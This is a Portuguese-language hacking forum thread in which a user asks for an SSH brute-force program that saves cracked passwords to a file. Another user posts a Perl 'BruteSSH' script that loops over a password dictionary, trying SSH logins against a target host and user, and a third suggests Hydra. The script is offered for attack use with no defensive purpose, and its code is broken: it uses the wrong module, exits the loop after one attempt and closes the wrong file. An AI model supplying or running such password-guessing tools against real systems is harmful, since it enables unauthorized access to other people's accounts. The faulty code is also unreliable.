[AJUDA]SSH

Started by Galerian, 03 de January , 2009, 11:32:53 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Galerian

oi, eu queria saber se algem pode me falar de um programa para usar força bruta em SSH, pode ser windows ou linux (preferencia LNUX), e de um que se caso achar a senha salve em um TXT, porque estou pensando em colocar num dervidor,
Muito Obrigado.

VonNatur

Tenta ae

#!/usr/bin/perl
#c0dex by m0x.lk || Fucker Team ||
system ("clear");
system ("cls");
system ("color 02");
print "\n\n";
print "\t\t\tc0dex by m0x.lk\n\n";
print "\tm0x.lk || Fucker Team";
print "\t\t BruteSSH by m0x.lk\n";
sleep 1;

use strict();
use Net::SSH;

$host=$ARGV[0];
$user=$ARGV[1];
$passdict=$ARGV[2] || die "\n[+]Perl Usage: BruteSSH.pl host user dict\n";
print "\n\n";
$i = 1;
open (D,"<$passdict") or die "Diccionario no encontrado\n";
while(<D>)
{
$try = $_;
    chomp $try;

        $t = my $ssh = Net::SSH::Perl->new($host,debug=>1,use_pty=>1);
$ssh->login($user, $try);
print "\n";
print "[+] Obteniendo Pass";
print "\n";
                print $i++ . ": Fallo - $try\n";

                print "'$try - $i intentos";
                last;
        $t->close;
}
close(IN);


[]'s

Reeves

o Hydra tbm faz isso...

aqui tem sobre.



GooD Luck.
  °vº   NÃO USE DROGAS,
/(_)\  USE GNU/LINUX
^ ^